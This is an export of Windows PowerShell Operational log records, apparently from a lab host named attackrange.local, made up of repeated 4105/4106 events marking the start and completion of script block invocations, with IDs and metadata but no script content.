09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029744
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029743
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029742
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029741
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029740
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029739
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029738
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029732
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029731
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029730
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029729
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029728
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029723
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029722
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029721
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029716
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029715
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029714
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029713
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029712
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029709
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029708
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029706
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029705
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
